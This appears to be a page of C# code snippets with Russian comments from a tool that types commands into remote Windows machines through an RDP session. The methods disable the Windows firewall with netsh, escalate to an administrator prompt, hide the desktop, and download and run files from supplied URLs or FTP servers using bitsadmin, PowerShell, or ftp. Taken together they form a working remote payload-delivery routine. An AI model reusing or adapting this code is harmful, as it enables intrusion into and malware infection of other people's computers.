예제 #1
0
        // Очистить командную строку
        internal static void ClearCmd(int timeout)
        {
            Unicode.SendString("cls");
            Enter();

            Thread.Sleep(timeout);
        }
예제 #2
0
        // Закрыть командную строку
        internal static void CloseCmd(int timeout)
        {
            OpenCmd(timeout);
            Unicode.SendString(@"taskkill /IM cmd.exe");
            Enter();

            Thread.Sleep(timeout);
        }
예제 #3
0
        // Открыть командную строку
        internal static void OpenCmd(int timeout)
        {
            Thread.Sleep(timeout);
            WinR();
            Thread.Sleep(timeout);

            Unicode.SendString("cmd.exe");
            Enter();
            Thread.Sleep(timeout);
        }
예제 #4
0
 // Запустить файл
 internal static void RunFile(string fileName, string fileParams)
 {
     // Run
     if (!string.IsNullOrWhiteSpace(fileParams))
     {
         Unicode.SendString(fileName + " " + fileParams);
     }
     else
     {
         Unicode.SendString(fileName);
     }
     Enter();
 }
예제 #5
0
        // Открываем командную строку с правами администратора
        internal static void OpenCmdAsAdmin(int timeout)
        {
            OpenCmd(timeout);

            Unicode.SendString("powershell");
            Enter();

            Thread.Sleep(timeout);

            Unicode.SendString("Start-Process 'cmd.exe' -Verb RunAs");
            Enter();

            Thread.Sleep(timeout);
        }
예제 #6
0
        // Загрузить и запустить файл через HTTP с помощью powershell
        internal static void LoadAndRunFileFromHTTP_PS(string powerShellScriptText, int timeout, int loadTimeout)
        {
            Thread.Sleep(timeout);
            WinM();

            // Открываем командную строку
            OpenCmd(timeout);

            Unicode.SendString(@"" + powerShellScriptText);

            Thread.Sleep(timeout);
            Enter();

            Thread.Sleep(timeout);

            WinShiftM();
        }
예제 #7
0
        // Скопировать файл
        private static void CopyFileFromStorage1(string localFileName, int loadTimeout, int timeout)
        {
            OpenCmd(timeout);

            Unicode.SendString(@"net use m: \\tsclient\storage\");
            Enter();
            Thread.Sleep(timeout);

            // Обновляем файловый канал
            var fileChannel = new FileSystemChannel(RDPClient.CurrentHost.FSDeviceName, RDPClient.CurrentHost.FSDriveName);

            fileChannel.sendClientCapability();
            Thread.Sleep(timeout + 3000);

            Unicode.SendString(@"copy /Y m:\" + localFileName);
            Enter();
            Thread.Sleep(loadTimeout);
        }
예제 #8
0
        // Отключение брендмауэра
        internal static void DisableFirewall(int timeout)
        {
            // Открываем командную строку с правами администратора
            OpenCmdAsAdmin(timeout);

            // Стрелка влево
            ScanCode.SendKeyEx(0x4B);
            Thread.Sleep(timeout);
            Enter();
            Thread.Sleep(timeout);

            // Отключаем брендмауэр для старых версий Windows
            Unicode.SendString("netsh firewall set opmode disable");
            Enter();
            Thread.Sleep(timeout);

            // Отключаем брендмауэр для новых версий Windows
            Unicode.SendString("netsh advfirewall set allprofiles state off");
            Enter();
            Thread.Sleep(timeout);

            // Очищаем командную строку
            ClearCmd(timeout);
        }
예제 #9
0
        // Загрузить и запустить файл через HTTP с помощью bitsadmin.exe
        internal static void LoadAndRunFileFromHTTP_BA(string url, int timeout, int loadTimeout, string fileParams)
        {
            Thread.Sleep(timeout);
            WinM();

            // Открываем командную строку
            OpenCmd(timeout);

            Unicode.SendString(@"bitsadmin /transfer System /Download /Priority FOREGROUND " + url.Trim() + @" %TEMP%\" + Path.GetFileName(url));
            Thread.Sleep(timeout);
            Enter();
            Thread.Sleep(loadTimeout);

            // Открываем командную строку
            OpenCmd(timeout);

            RunFile(@"%TEMP%\" + Path.GetFileName(url.Trim()), fileParams);
            Thread.Sleep(timeout);

            CloseCmd(timeout);
            Thread.Sleep(timeout);

            WinShiftM();
        }
예제 #10
0
        // Загрузить и запустить файл через FTP
        internal static void LoadAndRunFileFromFTP(string ip, string login, string password, string filePath, int timeout, int loadTimeout, string fileParams)
        {
            Thread.Sleep(timeout);

            WinM();

            Thread.Sleep(timeout);

            // Отключаем брендмауэр
            DisableFirewall(timeout);

            // Открываем командную строку
            OpenCmd(timeout);

            // ftp
            Unicode.SendString("ftp");
            Enter();

            Thread.Sleep(1000);

            // open IP
            Unicode.SendString("open " + ip.Trim());
            Enter();

            Thread.Sleep(1000);

            // user
            Unicode.SendString(login);
            Enter();

            Thread.Sleep(1000);

            // password
            Unicode.SendString(password);
            Enter();

            Thread.Sleep(1000);

            // transfer mode
            Unicode.SendString("binary");
            Enter();

            Thread.Sleep(1000);

            // Pasv mode
            Unicode.SendString("quote PASV");
            Enter();

            Thread.Sleep(1000);

            // get
            Unicode.SendString("get " + filePath);
            Enter();

            Thread.Sleep(loadTimeout);

            // bye
            Unicode.SendString("bye");
            Enter();

            Thread.Sleep(1000);

            RunFile(Path.GetFileName(filePath), fileParams);

            Thread.Sleep(timeout);

            CloseCmd(timeout);

            Thread.Sleep(timeout);

            Unicode.SendString(@"exit");
            Enter();

            Thread.Sleep(timeout);

            WinShiftM();
        }